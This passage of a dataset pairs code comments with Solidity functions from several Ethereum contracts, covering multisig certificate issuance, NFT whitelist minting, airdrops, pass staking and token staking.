payment.\n/// @param _beneficiary - address to execute a pull payment.\n/// @return bool - whether the beneficiary for this client has a pull payment to execute.", "function_code": "function doesPaymentExist(address _client, address _beneficiary)\r\n internal\r\n view\r\n returns (bool) {\r\n return (\r\n bytes(pullPayments[_client][_beneficiary].currency).length > 0 &&\r\n pullPayments[_client][_beneficiary].fiatAmountInCents > 0 &&\r\n pullPayments[_client][_beneficiary].frequency > 0 &&\r\n pullPayments[_client][_beneficiary].startTimestamp > 0 &&\r\n pullPayments[_client][_beneficiary].numberOfPayments > 0 &&\r\n pullPayments[_client][_beneficiary].nextPaymentTimestamp > 0\r\n );\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * Determine if an address is a signer on this wallet\r\n * @param signer address to check\r\n * returns boolean indicating whether address is signer or not\r\n */", "function_code": "function isSigner(address signer) public view returns (bool) {\r\n // Iterate through all signers on the wallet and checks if the signer passed in is one of them\r\n for (uint i = 0; i < signers.length; i++) {\r\n if (signers[i] == signer) {\r\n return true; //Signer passed in is a signer on the wallet\r\n }\r\n }\r\n return false; //Signer passed in is NOT a signer on the wallet\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * Execute a multi-signature issue transaction from this wallet using 2 signers: one from msg.sender and the other from ecrecover.\r\n * Sequence IDs are numbers starting from 1. They are used to prevent replay attacks and may not be repeated.\r\n *\r\n * @param hash the certificate batch's hash that will be appended to the blockchain\r\n * @param expireTime the number of seconds since 1970 for which this transaction is valid\r\n * @param sequenceId the unique sequence id obtainable from getNextSequenceId\r\n * @param signature second signer's signature\r\n */", "function_code": "function issueMultiSig(\r\n bytes32 hash,\r\n uint expireTime,\r\n uint sequenceId,\r\n bytes memory signature\r\n ) public onlyCustodian {\r\n bytes32 operationHash = keccak256(abi.encodePacked(\"ISSUE\", hash, expireTime, sequenceId));\r\n \r\n address otherSigner = verifyMultiSig(operationHash, signature, expireTime, sequenceId);\r\n \r\n documentStore.issue(hash);\r\n \r\n emit Issued(msg.sender, otherSigner, operationHash, hash);\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * Execute a multi-signature revoke transaction from this wallet using 2 signers: one from msg.sender and the other from ecrecover.\r\n * Sequence IDs are numbers starting from 1. They are used to prevent replay attacks and may not be repeated.\r\n *\r\n * @param hash the certificate's hash that will be revoked on the blockchain\r\n * @param expireTime the number of seconds since 1970 for which this transaction is valid\r\n * @param sequenceId the unique sequence id obtainable from getNextSequenceId\r\n * @param signature second signer's signature\r\n */", "function_code": "function revokeMultiSig(\r\n bytes32 hash,\r\n uint expireTime,\r\n uint sequenceId,\r\n bytes memory signature\r\n ) public onlyCustodian {\r\n bytes32 operationHash = keccak256(abi.encodePacked(\"REVOKE\", hash, expireTime, sequenceId));\r\n \r\n address otherSigner = verifyMultiSig(operationHash, signature, expireTime, sequenceId);\r\n \r\n documentStore.revoke(hash);\r\n \r\n emit Revoked(msg.sender, otherSigner, operationHash, hash);\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * Execute a multi-signature transfer transaction from this wallet using 2 signers: one from msg.sender and the other from ecrecover.\r\n * Sequence IDs are numbers starting from 1. They are used to prevent replay attacks and may not be repeated.\r\n * This transaction transfers the ownership of the certificate store to a new owner.\r\n *\r\n * @param newOwner the new owner's address\r\n * @param expireTime the number of seconds since 1970 for which this transaction is valid\r\n * @param sequenceId the unique sequence id obtainable from getNextSequenceId\r\n * @param signature second signer's signature\r\n */", "function_code": "function transferMultiSig(\r\n address newOwner,\r\n uint expireTime,\r\n uint sequenceId,\r\n bytes memory signature\r\n ) public onlyBackup {\r\n bytes32 operationHash = keccak256(abi.encodePacked(\"TRANSFER\", newOwner, expireTime, sequenceId));\r\n \r\n address otherSigner = verifyMultiSig(operationHash, signature, expireTime, sequenceId);\r\n \r\n documentStore.transferOwnership(newOwner);\r\n \r\n emit Transferred(msg.sender, otherSigner, newOwner);\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * Do common multisig verification for both Issue and Revoke transactions\r\n *\r\n * @param operationHash keccak256(prefix, hash, expireTime, sequenceId)\r\n * @param signature second signer's signature\r\n * @param expireTime the number of seconds since 1970 for which this transaction is valid\r\n * @param sequenceId the unique sequence id obtainable from getNextSequenceId\r\n * returns address that has created the signature\r\n */", "function_code": "function verifyMultiSig(\r\n bytes32 operationHash,\r\n bytes memory signature,\r\n uint expireTime,\r\n uint sequenceId\r\n ) private returns (address) {\r\n \r\n address otherSigner = recoverAddressFromSignature(operationHash, signature);\r\n \r\n // Verify that the transaction has not expired\r\n if (expireTime < block.timestamp) {\r\n // Transaction expired\r\n revert();\r\n }\r\n \r\n // Try to insert the sequence ID. Will revert if the sequence id was invalid\r\n tryInsertSequenceId(sequenceId);\r\n \r\n if (!isSigner(otherSigner)) {\r\n // Other signer not on this wallet or operation does not match arguments\r\n revert();\r\n }\r\n if (otherSigner == msg.sender) {\r\n // Cannot approve own transaction\r\n revert();\r\n }\r\n \r\n return otherSigner;\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * Gets signer's address using ecrecover\r\n * @param operationHash see Data Formats\r\n * @param signature see Data Formats\r\n * returns address recovered from the signature\r\n */", "function_code": "function recoverAddressFromSignature(\r\n bytes32 operationHash,\r\n bytes memory signature\r\n ) private pure returns (address) {\r\n if (signature.length != 65) {\r\n revert();\r\n }\r\n // We need to unpack the signature, which is given as an array of 65 bytes (like eth.sign)\r\n bytes32 r;\r\n bytes32 s;\r\n uint8 v;\r\n assembly {\r\n r := mload(add(signature, 32))\r\n s := mload(add(signature, 64))\r\n v := and(mload(add(signature, 65)), 255)\r\n }\r\n if (v < 27) {\r\n v += 27; // Ethereum versions are 27 or 28 as opposed to 0 or 1 which is submitted by some signing libs\r\n }\r\n return ecrecover(operationHash, v, r, s);\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * Verify that the sequence id has not been used before and inserts it. Throws if the sequence ID was not accepted.\r\n * We collect a window of up to 10 recent sequence ids, and allow any sequence id that is not in the window and\r\n * greater than the minimum element in the window.\r\n * @param sequenceId to insert into array of stored ids\r\n */", "function_code": "function tryInsertSequenceId(uint sequenceId) private onlyInitiators {\r\n // Keep a pointer to the lowest value element in the window\r\n uint lowestValueIndex = 0;\r\n for (uint i = 0; i < SEQUENCE_ID_WINDOW_SIZE; i++) {\r\n if (recentSequenceIds[i] == sequenceId) {\r\n // This sequence ID has been used before. Disallow!\r\n revert();\r\n }\r\n if (recentSequenceIds[i] < recentSequenceIds[lowestValueIndex]) {\r\n lowestValueIndex = i;\r\n }\r\n }\r\n if (sequenceId < recentSequenceIds[lowestValueIndex]) {\r\n // The sequence ID being used is lower than the lowest value in the window\r\n // so we cannot accept it as it may have been used before\r\n revert();\r\n }\r\n if (sequenceId > (recentSequenceIds[lowestValueIndex] + 10000)) {\r\n // Block sequence IDs which are much higher than the lowest value\r\n // This prevents people blocking the contract by using very large sequence IDs quickly\r\n revert();\r\n }\r\n recentSequenceIds[lowestValueIndex] = sequenceId;\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * Gets the next available sequence ID for signing when using executeAndConfirm\r\n * returns the sequenceId one higher than the highest currently stored\r\n */", "function_code": "function getNextSequenceId() public view returns (uint) {\r\n uint highestSequenceId = 0;\r\n for (uint i = 0; i < SEQUENCE_ID_WINDOW_SIZE; i++) {\r\n if (recentSequenceIds[i] > highestSequenceId) {\r\n highestSequenceId = recentSequenceIds[i];\r\n }\r\n }\r\n return highestSequenceId + 1;\r\n }", "version": "0.5.11"} {"comment": "/// @notice A generelized getter for a price supplied by an oracle contract.\n/// @dev The oracle returndata must be formatted as a single uint256.\n/// @param _oracle The descriptor of our oracle e.g. ETH/USD-Maker-v1\n/// @return The uint256 oracle price", "function_code": "function getPrice(string memory _oracle) external view returns (uint256) {\n address oracleAddr = oracle[_oracle];\n if (oracleAddr == address(0))\n revert(\"PriceOracleResolver.getPrice: no oracle\");\n (bool success, bytes memory returndata) = oracleAddr.staticcall(\n oraclePayload[_oracle]\n );\n if (!success)\n returndata.revertWithError(\"PriceOracleResolver.getPrice:\");\n return abi.decode(returndata, (uint256));\n }", "version": "0.7.4"} {"comment": "// function setIsExcludedFromMaxWallet(address account, bool value) external onlyOwner {\n// \trequire(isExcludedFromMaxWallet[account] != value, \"Account is already set to this value\");\n// \tisExcludedFromMaxWallet[account] = value;\n// }\n// function setIsExcludedFromFees(address account, bool value) external onlyOwner {\n// \trequire(isExcludedFromFees[account] != value, \"Account is already set to this value\");\n// \tisExcludedFromFees[account] = value;\n// }", "function_code": "function getExtraSalesFee(address account) public view returns (uint256) {\r\n\t\tuint256 extraFees = 0;\r\n\t\tuint256 firstTransTime = firstTransactionTimestamp[account];\r\n\t\tuint256 blockTime = block.timestamp;\r\n\t\tif(blockTime < launchedAtTime + 5 minutes){\r\n\t\t\textraFees = 15;\r\n\t\t}\r\n\t\telse if(blockTime < firstTransTime + 7 days){\r\n\t\t\textraFees = extraBurnFee;\r\n\t\t}\r\n\t\treturn extraFees;\r\n\t}", "version": "0.8.9"} {"comment": "/**\r\n early access sale purchase using merkle trees to verify that a address is whitelisted \r\n */", "function_code": "function whitelistPreSale(\r\n uint256 amount,\r\n bytes32[] calldata merkleProof\r\n ) external payable {\r\n \r\n\r\n require( presaleActivated , \"Early access: not available yet \");\r\n require(amount > 0 && amount <= maxPerTx, \"Purchase: amount prohibited\");\r\n require(purchaseTxs[msg.sender] + amount <= maxperaddress); // require every address on the whitelist to mint a maximum of their address .\r\n bytes32 node = keccak256(abi.encodePacked(msg.sender));\r\n require(\r\n MerkleProof.verify(merkleProof, merkleRoot, node),\r\n \"MerkleDistributor: Invalid proof.\"\r\n );\r\n \r\n \r\n if(amount > 1) {\r\n \r\n _bulkpurchase(amount);\r\n }\r\n else { \r\n _purchase(amount);\r\n } \r\n \r\n \r\n }", "version": "0.8.7"} {"comment": "// during opening of the public sale theres no limit for minting and owning tokens in transactions.", "function_code": "function _purchase(uint256 amount ) private {\r\n \r\n \r\n require(amount > 0 , \"amount cant be zero \");\r\n require(Idx + amount <= MAX_SUPPLY , \"Purchase: Max supply of 2026 reached\");\r\n require(msg.value == amount * mintPrice, \"Purchase: Incorrect payment\");\r\n Idx += 1;\r\n purchaseTxs[msg.sender] += 1;\r\n _mint(msg.sender,Idx, amount, \"\");\r\n emit Purchased(Idx, msg.sender, amount);\r\n }", "version": "0.8.7"} {"comment": "// this function is used to bulk purchase Unique nfts.", "function_code": "function _bulkpurchase(uint256 amount ) private {\r\n require(Idx + amount <= MAX_SUPPLY, \"Purchase: Max supply reached \");\r\n require(msg.value == amount * mintPrice, \"Purchase: Incorrect payment XX\");\r\n uint256[] memory ids = new uint256[](amount);\r\n uint256[] memory values = new uint256[](amount);\r\n Idx += amount; \r\n uint256 iterator = Idx;\r\n\r\n for(uint i = 0 ; i < amount; i++){\r\n\r\n ids[i] = iterator; // line up Unique NFTs ID in a array. \r\n\r\n iterator = iterator-1; \r\n\r\n values[i] = 1; // for Unique Nfts Supply of every ID MUST be one .1 to be injected in the _mintBatch function \r\n }\r\n \r\n purchaseTxs[msg.sender] += amount;\r\n _mintBatch(msg.sender, ids,values, \"\");\r\n \r\n emit Purchased(Idx, msg.sender, amount);\r\n \r\n \r\n }", "version": "0.8.7"} {"comment": "// airdrop nft function for owner only to be able to airdrop Unique nfts ", "function_code": "function airdrop(address payable reciever, uint256 amount ) external onlyOwner() {\r\n \r\n require(Idx + amount <= MAX_SUPPLY, \"Max supply of 2026 reached\");\r\n require(amount >= 1, \"nonzero err\");\r\n \r\n if(amount == 1) {\r\n Idx += 1;\r\n _mint(reciever, Idx, 1 , \"\");\r\n\r\n } \r\n else {\r\n \r\n uint256[] memory ids = new uint256[](amount);\r\n uint256[] memory values = new uint256[](amount);\r\n Idx += amount; \r\n uint256 iterator = Idx;\r\n\r\n for(uint i = 0 ; i < amount; i++){\r\n\r\n ids[i] = iterator; // line up Unique NFTs ID in a array. \r\n \r\n iterator = iterator-1; \r\n\r\n values[i] = 1; // for Unique Nfts Supply of every ID MUST be one .1 to be injected in the _mintBatch function \r\n }\r\n \r\n \r\n _mintBatch(reciever, ids,values, \"\");\r\n }\r\n \r\n \r\n }", "version": "0.8.7"} {"comment": "/**\n * @dev Override token's minimum stake time.\n */", "function_code": "function editToken(uint256 id, uint16 passList, uint56 maxSupply,\n int64 minStakeTime, string memory ipfsHash)\n public onlyOwner validTokenId(id)\n {\n require(maxSupply >= _tokens[id].totalSupply, 'max must exceed total');\n _tokens[id].passList = passList;\n _tokens[id].maxSupply = maxSupply;\n _tokens[id].minStakeTime = minStakeTime;\n\n _ipfsHash[id] = ipfsHash;\n emit URI(uri(id), id);\n }", "version": "0.8.9"} {"comment": "/**\n * @dev Create a new token.\n * @param passList uint16 Passes eligible for reward.\n * @param amount uint256 Mint amount tokens to caller.\n * @param minStakeTime int64 Minimum time pass stake required to qualify\n * @param maxSupply uint56 Max mintable supply for this token.\n * @param ipfsHash string Override ipfsHash for newly created token.\n */", "function_code": "function create(uint16 passList, uint256 amount, uint56 maxSupply,\n int64 minStakeTime, string memory ipfsHash)\n public onlyOwner\n {\n require(amount > 0, 'invalid amount');\n require(bytes(ipfsHash).length > 0, 'invalid ipfshash');\n\n // grab token id\n uint256 tokenId = _tokens.length;\n\n // add token\n int64 createdAt = int64(int256(block.timestamp));\n Token memory token = Token(passList, maxSupply, 0, minStakeTime, createdAt);\n _tokens.push(token);\n\n // override token's ipfsHash\n _ipfsHash[tokenId] = ipfsHash;\n emit URI(uri(tokenId), tokenId);\n\n // mint a single token\n _mint(msg.sender, tokenId, amount, \"\");\n\n // created event\n emit TokenCreated(tokenId, passList, maxSupply, minStakeTime, createdAt);\n }", "version": "0.8.9"} {"comment": "/**\n * @dev Return list of pass contracts.\n */", "function_code": "function allPassContracts()\n public view\n returns (address[] memory)\n {\n // keep the first empty entry so index lines up with id\n uint256 count = _passes.length;\n address[] memory passes = new address[](count);\n for (uint256 i = 0; i < count; ++i) {\n passes[i] = address(_passes[i]);\n }\n return passes;\n }", "version": "0.8.9"} {"comment": "/**\n * @dev Query pass for owners balance.\n */", "function_code": "function balanceOfPass(address pass, address owner)\n public\n view\n returns (uint256)\n {\n require(_passIdx[pass] != 0, 'invalid pass address');\n\n // grab pass\n uint8 passId = _passIdx[pass];\n IERC721 pass721 = _passes[passId];\n\n // return pass balance\n return pass721.balanceOf(owner);\n }", "version": "0.8.9"} {"comment": "/**\n * @dev Stake single pass.\n */", "function_code": "function stakePass(address pass, uint256 tokenId)\n public\n {\n require(_passIdx[pass] != 0, 'invalid pass address');\n\n address sender = _msgSender();\n\n // grab pass\n uint8 passId = _passIdx[pass];\n IERC721 pass721 = _passes[passId];\n\n // verify ownership\n require(pass721.ownerOf(tokenId) == sender, 'not pass owner');\n\n // transfer here\n pass721.transferFrom(sender, address(this), tokenId);\n\n // save staked info\n int64 stakedTS = int64(int256(block.timestamp));\n Pass memory stakedPass = Pass(\n passId,\n uint16(tokenId),\n stakedTS);\n _stakedPasses[sender].push(stakedPass);\n\n // track skate event\n emit Staked(sender, pass, tokenId, stakedTS);\n }", "version": "0.8.9"} {"comment": "/**\n * @dev Unstake single pass.\n */", "function_code": "function unstakePass(address pass, uint256 tokenId)\n public\n {\n require(_passIdx[pass] != 0, 'invalid pass address');\n\n address sender = _msgSender();\n\n // grab pass\n uint8 passId = _passIdx[pass];\n IERC721 pass721 = _passes[passId];\n\n // find pass\n uint256 stakedCount = _stakedPasses[sender].length;\n for (uint256 i = 0; i < stakedCount; ++i) {\n Pass storage stakedPass = _stakedPasses[sender][i];\n if (stakedPass.passId == passId && stakedPass.tokenId == tokenId) {\n\n // transfer pass back to owner\n pass721.transferFrom(address(this), sender, tokenId);\n\n // keep array compact\n uint256 lastIndex = stakedCount - 1;\n if (i != lastIndex) {\n _stakedPasses[sender][i] = _stakedPasses[sender][lastIndex];\n }\n\n // cleanup\n _stakedPasses[sender].pop();\n\n // track unskate event\n emit Unstaked(sender, pass, tokenId);\n\n // no need to continue\n return;\n }\n }\n\n // invalid pass\n require(false, 'pass not found');\n }", "version": "0.8.9"} {"comment": "/**\n * @dev Unstake all passes staked in contract.\n */", "function_code": "function unstakeAllPasses()\n public\n {\n address sender = _msgSender();\n require(_stakedPasses[sender].length > 0, 'no passes staked');\n\n // unstake all passes\n uint256 stakedCount = _stakedPasses[sender].length;\n for (uint256 i = 0; i < stakedCount; ++i) {\n Pass storage stakedPass = _stakedPasses[sender][i];\n IERC721 pass721 = _passes[stakedPass.passId];\n\n // transfer pass back to owner\n pass721.transferFrom(address(this), sender, stakedPass.tokenId);\n\n // track unskate event\n emit Unstaked(sender, address(pass721), stakedPass.tokenId);\n\n // cleanup\n delete _stakedPasses[sender][i];\n }\n\n // cleanup\n delete _stakedPasses[sender];\n }", "version": "0.8.9"} {"comment": "/**\n * @dev Claim single token for all passes.\n */", "function_code": "function claim(uint256 tokenId)\n public validTokenId(tokenId)\n {\n address sender = _msgSender();\n require(_stakedPasses[sender].length > 0, 'no passes staked');\n\n // check claim\n uint256 claimId = _mkClaimId(sender, tokenId);\n require(!_claims[claimId], 'rewards claimed');\n\n // process all passes\n uint256 rewards = _calculateRewards(sender, tokenId);\n require(rewards > 0, 'no rewards');\n\n // mark as claimed\n _claims[claimId] = true;\n\n // mint token for claimee\n _mint(sender, tokenId, rewards, \"\");\n\n // record event\n emit RewardsClaimed(sender, tokenId, rewards);\n }", "version": "0.8.9"} {"comment": "// changed here each value to one for unique nfts.", "function_code": "function _mintBatch(\r\n address to,\r\n uint256[] memory ids,\r\n uint256[] memory amounts,\r\n bytes memory data\r\n ) internal virtual {\r\n require(to != address(0), \"ERC1155: mint to the zero address\");\r\n require(ids.length == amounts.length, \"ERC1155: ids and amounts length mismatch\");\r\n\r\n address operator = _msgSender();\r\n\r\n _beforeTokenTransfer(operator, address(0), to, ids, amounts, data);\r\n\r\n for (uint256 i = 0; i < ids.length; i++) {\r\n _balances[ids[i]][to] += amounts[i];\r\n }\r\n\r\n emit TransferBatch(operator, address(0), to, ids, amounts);\r\n\r\n _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);\r\n }", "version": "0.8.7"} {"comment": "/// Mint tokens when the release stage is whitelist (2).\n/// @param qty Number of tokens to mint (max 3)", "function_code": "function whitelistMint(uint256 qty) external payable nonReentrant {\n IGraveyard graveyard = IGraveyard(GRAVEYARD_ADDRESS);\n address sender = _msgSender();\n require(graveyard.releaseStage() == 2, \"Whitelist inactive\");\n require(qty > 0 && graveyard.isWhitelisted(sender, qty), \"Invalid whitelist address/qty\");\n\n graveyard.updateClaimable(sender, 1e18 * 1000 * qty);\n _mintTo(sender, qty);\n graveyard.updateWhitelist(sender, qty);\n }", "version": "0.8.9"} {"comment": "/// Claim tokens for team/giveaways.\n/// @param addresses An array of addresses to mint tokens for\n/// @param quantities An array of quantities for each respective address to mint\n/// @dev This method does NOT increment an addresses minting total", "function_code": "function ownerClaim(address[] calldata addresses, uint256[] calldata quantities) external onlyOwner nonReentrant {\n require(addresses.length == quantities.length, \"Invalid args\");\n IGraveyard graveyard = IGraveyard(GRAVEYARD_ADDRESS);\n for (uint256 a = 0;a < addresses.length;a++) {\n graveyard.updateClaimable(addresses[a], 1e18 * 1000 * quantities[a]);\n _mint(addresses[a], quantities[a]);\n }\n }", "version": "0.8.9"} {"comment": "/// Returns rewards for address for reward actions.\n/// Multiplier of 10 * token balance + multiplier if set.\n/// @param from The address to calculate reward rate for", "function_code": "function getRewardRate(address from) external view returns (uint256) {\n uint256 balance = balanceOf(from);\n if (_dataAddress == address(0)) return 1e18 * 10 * balance;\n ICryptData data = ICryptData(_dataAddress);\n uint256 rate = 0;\n for (uint256 i = 0;i < balance;i++) {\n rate += data.getRewardRate(tokenOfOwnerByIndex(from, i));\n }\n return rate;\n }", "version": "0.8.9"} {"comment": "// Stake $HIPPO", "function_code": "function stake(uint256 amount) public updateStakingReward(msg.sender) {\r\n require(isStart, \"not started\");\r\n require(0 < amount, \":stake: Fund Error\");\r\n totalStakedAmount = totalStakedAmount.add(amount);\r\n staked[msg.sender].stakedHIPPO = staked[msg.sender].stakedHIPPO.add(amount);\r\n HippoToken.safeTransferFrom(msg.sender, address(this), amount);\r\n staked[msg.sender].lastBlock = block.number;\r\n emit Staked(msg.sender, amount, totalStakedAmount);\r\n }", "version": "0.6.12"}